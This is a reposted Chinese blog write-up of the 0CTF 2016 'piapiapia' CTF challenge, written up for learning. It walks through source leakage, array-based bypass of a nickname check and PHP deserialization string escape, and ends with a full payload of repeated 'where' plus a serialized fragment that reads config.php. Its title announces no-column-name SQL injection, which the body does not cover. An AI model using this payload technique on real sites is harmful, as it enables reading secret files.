ctf之无列名注入(一定结合子查询`innodb_index_stats` 和`innodb_table_stats`)转

# [0CTF 2016]piapiapia解题详细思路及复现
        </h1>
        <div class="clear"></div>
        <div class="postBody">
            <div id="cnblogs_post_body" class="blogpost-body cnblogs-markdown">

1|0[0CTF 2016]piapiapia解题详细思路及复现


1|11. 知识点


  • 信息泄露
  • 参数传递数组绕过字符串检测
  • 反序列化字符逃逸

1|22. 开始复现


2.1 初探题目

  • 开打题目连接我们可以看到是一个登录页面

不知道为啥我一看到登录页面就想SQL注入一波,我还是太年轻了。这道题没有给出提示,SQL注入也不是没有可能,尝试一波之后放弃了,CTF直接登录框就注入的还是不多。

  • 注册账号
    看来我们还是得老老实实得注册个账号来登录看看有什么功能点,并且熟悉网站结构。但是在登录页面又没有给出注册按钮,看来我们还得自己猜一下,通常是:/register.php。
  • 浏览功能
    登录成功后我们看到是一个上传个人信息的一个页面,看到可以上传图片,第一时间就想到了文件上传漏洞。我还是太年轻了,一波操作后没有饶得过。上传了一个正常的信息,发现跳转到profile.php展示出来我们的信息
  • 目录扫面
    功能都试过了,没有可以利用的地方(是我太菜)。我们可以扫一下目录,看看有什么隐藏的文件呀,信息泄露什么的,毕竟CTF很多题型是信息泄露+代码审计嘛。拿出御剑扫描后,浏览网页发现访问太快了,返回429状态码。看了网上大佬们的Writeup发现dirsearch可以扫描出来www.zip,我试了下dirsearch要记得加延时参数。
    拿到了网站的源码我们的信息收集差不多就完了,我们现在可以在源码中寻找突破点

2.2 代码审计

  • 熟悉网站结构
    我们拿到的源码里的文件不是很多,class.php里有一些重要的函数,update.php和profile.php我们比较熟悉了,一个上传文件,一个获取文件。最重要的是config.php,我们看到flag在里面
  • 根据前端流程细看可疑函数
    注册和登录那一块就不用看了吧,主要突破的地方是上传资料和显示资料那里。


    --- 首先是update.php
 
 
<?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
	$username = $_SESSION[<span class="hljs-string">'username'</span>];
	<span class="hljs-keyword">if</span>(!preg_match(<span class="hljs-string">'/^\d{11}$/'</span>, $_POST[<span class="hljs-string">'phone'</span>]))
		<span class="hljs-keyword">die</span>(<span class="hljs-string">'Invalid phone'</span>);

	<span class="hljs-keyword">if</span>(!preg_match(<span class="hljs-string">'/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/'</span>, $_POST[<span class="hljs-string">'email'</span>]))
		<span class="hljs-keyword">die</span>(<span class="hljs-string">'Invalid email'</span>);
	
	<span class="hljs-keyword">if</span>(preg_match(<span class="hljs-string">'/[^a-zA-Z0-9_]/'</span>, $_POST[<span class="hljs-string">'nickname'</span>]) || strlen($_POST[<span class="hljs-string">'nickname'</span>]) &gt; <span class="hljs-number">10</span>)
		<span class="hljs-keyword">die</span>(<span class="hljs-string">'Invalid nickname'</span>);

	$file = $_FILES[<span class="hljs-string">'photo'</span>];
	<span class="hljs-keyword">if</span>($file[<span class="hljs-string">'size'</span>] &lt; <span class="hljs-number">5</span> <span class="hljs-keyword">or</span> $file[<span class="hljs-string">'size'</span>] &gt; <span class="hljs-number">1000000</span>)
		<span class="hljs-keyword">die</span>(<span class="hljs-string">'Photo size error'</span>);

	move_uploaded_file($file[<span class="hljs-string">'tmp_name'</span>], <span class="hljs-string">'upload/'</span> . md5($file[<span class="hljs-string">'name'</span>]));
	$profile[<span class="hljs-string">'phone'</span>] = $_POST[<span class="hljs-string">'phone'</span>];
	$profile[<span class="hljs-string">'email'</span>] = $_POST[<span class="hljs-string">'email'</span>];
	$profile[<span class="hljs-string">'nickname'</span>] = $_POST[<span class="hljs-string">'nickname'</span>];
	$profile[<span class="hljs-string">'photo'</span>] = <span class="hljs-string">'upload/'</span> . md5($file[<span class="hljs-string">'name'</span>]);

	$user-&gt;update_profile($username, serialize($profile));
	<span class="hljs-keyword">echo</span> <span class="hljs-string">'Update Profile Success!&lt;a href="profile.php"&gt;Your Profile&lt;/a&gt;'</span>;
}
<span class="hljs-keyword">else</span> {

?>

  一眼可以看出这里用了一堆正则表达式来过滤我们提交的数据,而且第三个正则表达式和前面两个不一样,这里判断了nickname是否为字符还有长度是否超过10。用文章开头的知识点二,如果我们传入的nickname是一个数组,绕过长度的限制,则可以绕过这正则表达式,是我们不会die出。
  在代码的后面调用update_profile处我们想到这个可能是将数据保存到数据库,而且还用了php序列化serialize(),我们可以大胆的尝试用反序列化漏洞来搞一下。
  我们再看看update_profile()到底是个啥,使用全局搜索我们在class.php中看到了定义的update_profile()方法

 
 
public function update_profile($username, $new_profile) { $username = parent::filter($username); $new_profile = parent::filter($new_profile);
	$where = <span class="hljs-string">"username = '<span class="hljs-subst">$username</span>'"</span>;
	<span class="hljs-keyword">return</span> <span class="hljs-built_in">parent</span>::update(<span class="hljs-keyword">$this</span>-&gt;table, <span class="hljs-string">'profile'</span>, $new_profile, $where);
}

  我们再继续追寻下去
filter()

 
 
public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string);
	$safe = <span class="hljs-keyword">array</span>(<span class="hljs-string">'select'</span>, <span class="hljs-string">'insert'</span>, <span class="hljs-string">'update'</span>, <span class="hljs-string">'delete'</span>, <span class="hljs-string">'where'</span>);
	$safe = <span class="hljs-string">'/'</span> . implode(<span class="hljs-string">'|'</span>, $safe) . <span class="hljs-string">'/i'</span>;
	<span class="hljs-keyword">return</span> preg_replace($safe, <span class="hljs-string">'hacker'</span>, $string);
}

update()

 
 
public function update($table, $key, $value, $where) { $sql = "UPDATE $table SET $key = '$value' WHERE $where"; return mysql_query($sql); }

  update.php我们基本上就搞清楚了,是先经过正则表达式将用户提交的参数值过滤,然后序列化,然后将非法的值替换为'hacker'


--- 然后我们再看profile.php

 
 
<?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } $username = $_SESSION['username']; $profile=$user->show_profile($username); if($profile == null) { header('Location: update.php'); } else { $profile = unserialize($profile); $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo'])); ?>

  我们可以看到这里有反序列化还有文件读取,我们对这道题应该有了大致的思路了。flag在config.php中,而且有序列化,过滤替换,反序列化,文件读取,这不就是CTF中反序列字符逃逸的常见套路吗。我们构造包含config.php的数据,利用字符串逃逸,在profile.php中读取出来

2.3 反序列化字符逃逸知识补充

  • PHP反序列化字符逃逸
    举个小例子
    序列化
 
 
<?php $a = array('123', 'abc', 'defg'); var_dump(serialize($a)); ?>

结果

 
 
string(49) "a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}"

反序列化

 
 
<?php //$a = array('123', 'abc', 'defg'); //var_dump(serialize($a)); //"a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}" $b = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}'; var_dump(unserialize($b)); ?>

运行结果

 
 
array(3) { [0]=> string(3) "123" [1]=> string(3) "abc" [2]=> string(4) "defg" }

  我们可以看到在后端中,反序列化是一";}结束的,如果我们把";}带入需要反序列化的字符串中(除了结尾处),是不是就能让反序列化提前结束后面的内容就丢弃了呢?
  我们把第二个值abc换成abc";i:2;s:5:"qwert";}

 
 
<?php //$a = array('123', 'abc', 'defg'); //var_dump(serialize($a)); //"a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}" $b = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:5:"qwert";}";i:2;s:4:"defg";}'; var_dump(unserialize($b)); ?>

运行结果

 
 
array(3) { [0]=> string(3) "123" [1]=> string(3) "abc" [2]=> string(5) "qwert" }

成功的反序列化出我们自己定义的内容,丢弃了原先的内容(i:2;s:4:"defg")
反序列化字符逃逸就先介绍到这里,我们回过头来看一下题

  • 突破口
    我们发现一个问题,我们反序列化字符逃逸,首先序列化的字符是可控的,还有前面的长度是可控的。但update.php将参数序列化,我们可控变量的长度就已经写死了,怎么才能去控制呢。这道题的突破口其实就是序列化过后数据过滤替换那里,看似更加安全,其实更加危险。
 
 
//过滤函数 public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string);
	$safe = <span class="hljs-keyword">array</span>(<span class="hljs-string">'select'</span>, <span class="hljs-string">'insert'</span>, <span class="hljs-string">'update'</span>, <span class="hljs-string">'delete'</span>, <span class="hljs-string">'where'</span>);
	$safe = <span class="hljs-string">'/'</span> . implode(<span class="hljs-string">'|'</span>, $safe) . <span class="hljs-string">'/i'</span>;
	<span class="hljs-keyword">return</span> preg_replace($safe, <span class="hljs-string">'hacker'</span>, $string);
}

  这里是将'select', 'insert', 'update', 'delete', 'where'替换成'hacker',我们写入where替换成hacker之后字符串实际的长度就+1,因此实际的长度大于序列化固定的长度(变量前面‘s’里的值)。利用反序列化字符串逃逸,反序列化时只能将字符串中nickname前面的s后面长度的字符串反序列化成功,这个是传参的时候就固定好了。剩下的字符串我们构造成class.php因为里面包含了flag,并且让他在photo位置上,然后把photo给扔掉,这样在profile.php中读取的photo就是我们构造的config.php了,也就是读取到了flag
  简单说就是利用后端的函数替换,导致实际长度增加,增加的部分(config.php)被挤了出来,到了photo的位置上,然后闭合。
  再举个例方便大家理解

 
 
<?php //$a = array('123', 'abc', 'defg'); //var_dump(serialize($a)); //"a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}" $a = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}'; $b = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:5:"qwert";}";i:2;s:4:"defg";}'; var_dump(unserialize($b)); var_dump(unserialize($b)); ?>

abc前面的s:3:不变,因为是序列化的时候固定了
我们将abc构造成:abc";i:2;s:5:"qwert";}我们再最后构造了一个闭合,导致defg被丢弃,qwert占用了defg原本的位置
  还是回到这一道题上,我们的目的是将";}s:5:"photo";s:10:"config.php";}插入序列化的字符串里面去,这个的长度为34,所以我们要挤出来34位,不然就成了nickname的值了。where会替换成hacker,长度加1,所以我们要构造34个where。然后去profile.php查看读取的内容。

3.4 详细步骤

  • 注册账户
  • 登录账户
  • 随意提交一些资料抓包
  • 修改nickname为nickname[],数组绕过长度检测
  • 修改nickname中的内容
 
 
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

  • 发包
  • 去profile.php查看读取的文件,base64编码


![](https://img-blog.csdnimg.cn/img_convert/178c0e73baf5095d8509e1d39a4105f0.png)

成功获取falg

补充

  之前我传入的是";s:5:"photo";s:10:"config.php";}结果失败了,看了网上的一些文章,发现他们传入的是";}s:5:"photo";s:10:"config.php";}为什么前面要多加一个},后来发现是因为我们nickname构造成了数组,而不是字符,所以要加}闭合一下。


EOF

作  者:g0ud@n
出  处:https://www.cnblogs.com/g0udan/p/12216207.html
关于博主:把喜欢的事情做到极致
版权声明:署名 - 非商业性使用 - 禁止演绎,协议普通文本 | 协议法律文本
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!

分类: CTF题解
<div id="blog_post_info">
6
0
<div class="clear"></div>
<div id="post_next_prev">

<a href="https://www.cnblogs.com/g0udan/p/12205492.html" class="p_n_p_prefix">« </a> 上一篇:    <a href="https://www.cnblogs.com/g0udan/p/12205492.html" title="发布于 2020-01-17 14:05">Python Requests的基本用法</a>
<br>
<a href="https://www.cnblogs.com/g0udan/p/12231960.html" class="p_n_p_prefix">» </a> 下一篇:    <a href="https://www.cnblogs.com/g0udan/p/12231960.html" title="发布于 2020-01-24 11:24">Python XPath的使用</a>
posted @ 2020-01-20 01:47  g0udan  阅读( 2353)  评论( 0编辑  收藏  举报
</div><!--end: topics 文章、评论容器-->

· 记一次 .NET 某机械臂智能机器人控制系统 MRS CPU 爆高分析


· 技术选型的一点个人思考


· 带团队后的日常思考(四)


· 温故知新:WeakReference了解一下?


· .Net 中异步任务的取消和监控

最新新闻
· 亚马逊无人收银技术扩围:将于明年登陆旗下全食超市(2021-09-09 19:04)
· 百度投资成立智能科技公司 经营范围含智能机器人的研发等(2021-09-09 17:55)
· 新型硅阳极电池走向市场 有望改变电子设备和电动汽车市场(2021-09-09 17:45)
· 联发科技发布迅鲲900T芯片 相关平板电脑近期上市(2021-09-09 17:37)
· NASA宣布将于12月18日发射韦伯太空望远镜(2021-09-09 17:30)
» 更多新闻...
</div><!--end: forFlow -->
</div>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值